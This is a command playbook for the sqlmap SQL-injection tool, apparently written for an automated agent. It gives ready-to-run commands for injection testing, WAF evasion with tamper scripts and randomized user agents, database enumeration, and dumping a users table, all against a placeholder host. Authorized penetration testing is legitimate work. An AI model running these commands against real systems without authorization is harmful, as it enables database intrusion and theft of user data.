sqlmap CLI Playbook

Official docs:

• https://github.com/sqlmapproject/sqlmap/wiki/usage
• https://sqlmap.org

Canonical syntax: sqlmap -u "<target_url_with_params>" [options]

High-signal flags:

• -u, --url <url> target URL
• -r <request_file> raw HTTP request input
• -p <param> test specific parameter(s)
• --batch non-interactive mode
• --level <1-5> test depth
• --risk <1-3> payload risk profile
• --threads <n> concurrency
• --technique <letters> technique selection
• --forms parse and test forms from target page
• --cookie <cookie> and --headers <headers> authenticated context
• --timeout <seconds> and --retries <n> transport stability
• --tamper <scripts> WAF/input-filter evasion
• --random-agent randomize user-agent
• --ignore-proxy bypass configured proxy
• --dbs, -D <db> --tables, -D <db> -T <table> --columns, -D <db> -T <table> -C <cols> --dump
• --flush-session clear cached scan state

Agent-safe baseline for automation: sqlmap -u "https://target.tld/item?id=1" -p id --batch --level 2 --risk 1 --threads 5 --timeout 10 --retries 1 --random-agent

Common patterns:

• Baseline injection check:

sqlmap -u "https://target.tld/item?id=1" -p id --batch --level 2 --risk 1 --threads 5

• POST parameter testing:

sqlmap -u "https://target.tld/login" --data "user=admin&pass=test" -p pass --batch --level 2 --risk 1

• Form-driven testing:

sqlmap -u "https://target.tld/login" --forms --batch --level 2 --risk 1 --random-agent

• Enumerate DBs:

sqlmap -u "https://target.tld/item?id=1" -p id --batch --dbs

• Enumerate tables in DB:

sqlmap -u "https://target.tld/item?id=1" -p id --batch -D appdb --tables

• Dump selected columns:

sqlmap -u "https://target.tld/item?id=1" -p id --batch -D appdb -T users -C id,email,role --dump

Critical correctness rules:

• Always include --batch in automation to avoid interactive prompts.
• Keep target parameter explicit with -p when possible.
• Use --flush-session when retesting after request/profile changes.
• Start conservative (--level 1-2, --risk 1) and escalate only when needed.

Usage rules:

• Keep authenticated context (--cookie/--headers) aligned with manual validation state.
• Prefer narrow extraction (-D/-T/-C) over broad dump-first behavior.
• Do not use -h/--help during normal execution unless absolutely necessary.

Failure recovery:

• If results conflict with manual testing, rerun with --flush-session.
• If blocked by filtering/WAF, reduce --threads and test targeted --tamper chains.
• If initial detection misses likely injection, increment --level/--risk gradually.

If uncertain, query web_search with: site:github.com/sqlmapproject/sqlmap/wiki/usage sqlmap <flag>